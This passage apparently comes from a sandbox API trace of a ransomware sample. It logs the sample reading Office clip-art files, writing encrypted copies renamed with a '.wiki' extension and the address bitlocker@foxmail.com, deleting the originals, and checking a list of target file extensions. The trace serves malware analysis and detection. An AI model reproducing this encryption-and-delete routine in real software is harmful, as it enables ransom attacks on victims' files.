dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0188.037] GetLastError () returned 0x0 [0188.037] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x9dc, lpOverlapped=0x0) returned 1 [0188.038] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x9e0, lpOverlapped=0x0) returned 1 [0188.039] ReadFile (in: hFile=0x1d0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.039] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.040] SetEndOfFile (hFile=0x1f4) returned 1 [0188.040] CloseHandle (hObject=0x1f4) returned 1 [0188.040] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.040] SetEndOfFile (hFile=0x1d0) returned 1 [0188.040] CloseHandle (hObject=0x1d0) returned 1 [0188.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf")) returned 1 [0188.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0188.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0188.041] lstrlenW (lpString=".doc") returned 4 [0188.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.041] lstrlenW (lpString=".docx") returned 5 [0188.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.041] lstrlenW (lpString=".pdf") returned 4 [0188.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.041] lstrlenW (lpString=".xls") returned 4 [0188.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.041] lstrlenW (lpString=".xlsx") returned 5 [0188.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.041] lstrlenW (lpString=".ppt") returned 4 [0188.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0188.041] lstrlenW (lpString=".zip") returned 4 [0188.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.041] lstrlenW (lpString=".rar") returned 4 [0188.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.041] lstrlenW (lpString=".bz2") returned 4 [0188.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.041] lstrlenW (lpString=".7z") returned 3 [0188.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0188.042] lstrlenW (lpString=".dbf") returned 4 [0188.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0188.042] lstrlenW (lpString=".1cd") returned 4 [0188.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0188.042] lstrlenW (lpString=".jpg") returned 4 [0188.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0188.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0188.042] lstrlenW (lpString=".doc") returned 4 [0188.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.042] lstrlenW (lpString=".docx") returned 5 [0188.042] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.042] lstrlenW (lpString=".pdf") returned 4 [0188.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.042] lstrlenW (lpString=".xls") returned 4 [0188.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.042] lstrlenW (lpString=".xlsx") returned 5 [0188.042] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.042] lstrlenW (lpString=".ppt") returned 4 [0188.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0188.042] lstrlenW (lpString=".zip") returned 4 [0188.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.042] lstrlenW (lpString=".rar") returned 4 [0188.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.042] lstrlenW (lpString=".bz2") returned 4 [0188.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.043] lstrlenW (lpString=".7z") returned 3 [0188.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0188.043] lstrlenW (lpString=".dbf") returned 4 [0188.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0188.043] lstrlenW (lpString=".1cd") returned 4 [0188.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 63 [0188.043] lstrlenW (lpString=".jpg") returned 4 [0188.043] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.043] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.043] lstrlenW (lpString="DD01586_.WMF") returned 12 [0188.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.204] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2324) returned 1 [0188.211] CloseHandle (hObject=0x1d0) returned 1 [0188.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x20 [0188.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.213] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.221] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.229] GetLastError () returned 0x0 [0188.239] ReadFile (in: hFile=0x20c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x914, lpOverlapped=0x0) returned 1 [0188.240] WriteFile (in: hFile=0x200, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x920, lpOverlapped=0x0) returned 1 [0188.241] ReadFile (in: hFile=0x20c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.241] WriteFile (in: hFile=0x200, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.242] SetEndOfFile (hFile=0x200) returned 1 [0188.242] CloseHandle (hObject=0x200) returned 1 [0188.242] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.242] SetEndOfFile (hFile=0x20c) returned 1 [0188.242] CloseHandle (hObject=0x20c) returned 1 [0188.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf")) returned 1 [0188.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0188.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0188.243] lstrlenW (lpString=".doc") returned 4 [0188.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.243] lstrlenW (lpString=".docx") returned 5 [0188.243] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.243] lstrlenW (lpString=".pdf") returned 4 [0188.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.243] lstrlenW (lpString=".xls") returned 4 [0188.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.243] lstrlenW (lpString=".xlsx") returned 5 [0188.243] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.243] lstrlenW (lpString=".ppt") returned 4 [0188.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0188.243] lstrlenW (lpString=".zip") returned 4 [0188.243] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.243] lstrlenW (lpString=".rar") returned 4 [0188.243] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.244] lstrlenW (lpString=".bz2") returned 4 [0188.244] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.244] lstrlenW (lpString=".7z") returned 3 [0188.244] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0188.244] lstrlenW (lpString=".dbf") returned 4 [0188.244] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0188.244] lstrlenW (lpString=".1cd") returned 4 [0188.244] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0188.244] lstrlenW (lpString=".jpg") returned 4 [0188.244] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0188.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0188.244] lstrlenW (lpString=".doc") returned 4 [0188.244] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.244] lstrlenW (lpString=".docx") returned 5 [0188.244] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.244] lstrlenW (lpString=".pdf") returned 4 [0188.244] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.244] lstrlenW (lpString=".xls") returned 4 [0188.244] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.244] lstrlenW (lpString=".xlsx") returned 5 [0188.244] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.244] lstrlenW (lpString=".ppt") returned 4 [0188.244] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0188.244] lstrlenW (lpString=".zip") returned 4 [0188.244] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.244] lstrlenW (lpString=".rar") returned 4 [0188.245] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.245] lstrlenW (lpString=".bz2") returned 4 [0188.245] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.245] lstrlenW (lpString=".7z") returned 3 [0188.245] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0188.245] lstrlenW (lpString=".dbf") returned 4 [0188.245] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0188.245] lstrlenW (lpString=".1cd") returned 4 [0188.245] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0188.245] lstrlenW (lpString=".jpg") returned 4 [0188.245] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.245] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.245] lstrlenW (lpString="EN00202_.WMF") returned 12 [0188.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.246] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=6938) returned 1 [0188.246] CloseHandle (hObject=0x20c) returned 1 [0188.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf")) returned 0x20 [0188.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.246] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.246] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.246] GetLastError () returned 0x0 [0188.246] ReadFile (in: hFile=0x20c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1b1a, lpOverlapped=0x0) returned 1 [0188.248] WriteFile (in: hFile=0x200, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1b20, lpOverlapped=0x0) returned 1 [0188.249] ReadFile (in: hFile=0x20c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.249] WriteFile (in: hFile=0x200, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.249] SetEndOfFile (hFile=0x200) returned 1 [0188.250] CloseHandle (hObject=0x200) returned 1 [0188.250] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.250] SetEndOfFile (hFile=0x20c) returned 1 [0188.250] CloseHandle (hObject=0x20c) returned 1 [0188.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf")) returned 1 [0188.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0188.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0188.251] lstrlenW (lpString=".doc") returned 4 [0188.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.251] lstrlenW (lpString=".docx") returned 5 [0188.251] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.251] lstrlenW (lpString=".pdf") returned 4 [0188.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.251] lstrlenW (lpString=".xls") returned 4 [0188.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.251] lstrlenW (lpString=".xlsx") returned 5 [0188.251] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.251] lstrlenW (lpString=".ppt") returned 4 [0188.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0188.251] lstrlenW (lpString=".zip") returned 4 [0188.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.251] lstrlenW (lpString=".rar") returned 4 [0188.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.251] lstrlenW (lpString=".bz2") returned 4 [0188.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.251] lstrlenW (lpString=".7z") returned 3 [0188.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0188.252] lstrlenW (lpString=".dbf") returned 4 [0188.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0188.252] lstrlenW (lpString=".1cd") returned 4 [0188.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0188.252] lstrlenW (lpString=".jpg") returned 4 [0188.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0188.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0188.252] lstrlenW (lpString=".doc") returned 4 [0188.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.252] lstrlenW (lpString=".docx") returned 5 [0188.252] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.252] lstrlenW (lpString=".pdf") returned 4 [0188.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.252] lstrlenW (lpString=".xls") returned 4 [0188.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.252] lstrlenW (lpString=".xlsx") returned 5 [0188.252] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.252] lstrlenW (lpString=".ppt") returned 4 [0188.252] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0188.252] lstrlenW (lpString=".zip") returned 4 [0188.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.252] lstrlenW (lpString=".rar") returned 4 [0188.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.252] lstrlenW (lpString=".bz2") returned 4 [0188.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.252] lstrlenW (lpString=".7z") returned 3 [0188.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0188.253] lstrlenW (lpString=".dbf") returned 4 [0188.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0188.253] lstrlenW (lpString=".1cd") returned 4 [0188.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0188.253] lstrlenW (lpString=".jpg") returned 4 [0188.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.253] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.253] lstrlenW (lpString="EN00222_.WMF") returned 12 [0188.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.253] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=12356) returned 1 [0188.253] CloseHandle (hObject=0x20c) returned 1 [0188.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf")) returned 0x20 [0188.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.254] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.254] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.254] GetLastError () returned 0x0 [0188.254] ReadFile (in: hFile=0x20c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x3044, lpOverlapped=0x0) returned 1 [0188.256] WriteFile (in: hFile=0x200, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, 